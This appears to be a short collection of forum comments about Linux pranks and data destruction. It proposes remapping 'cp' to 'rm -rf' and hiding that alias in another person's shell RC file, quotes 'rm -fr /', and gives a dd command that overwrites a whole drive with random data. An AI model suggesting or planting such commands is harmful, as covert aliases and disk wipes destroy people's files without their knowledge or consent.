Typing apt just opens the man page for pacman.

alias cp="rm -rf"

bonus points for putting it into the shells RC file.

Not as destructive as deleting root, but a lot more sneakier

dd if=/dev/urandom of=/dev/sdx will overwrite every single byte of /dev/sdx with random data. Replace /dev/sdx with the drive you want to wipe. Optionally, specify a larger block size to speed it up more.

This is way better than writing the whole disk 0's or rm -fr /
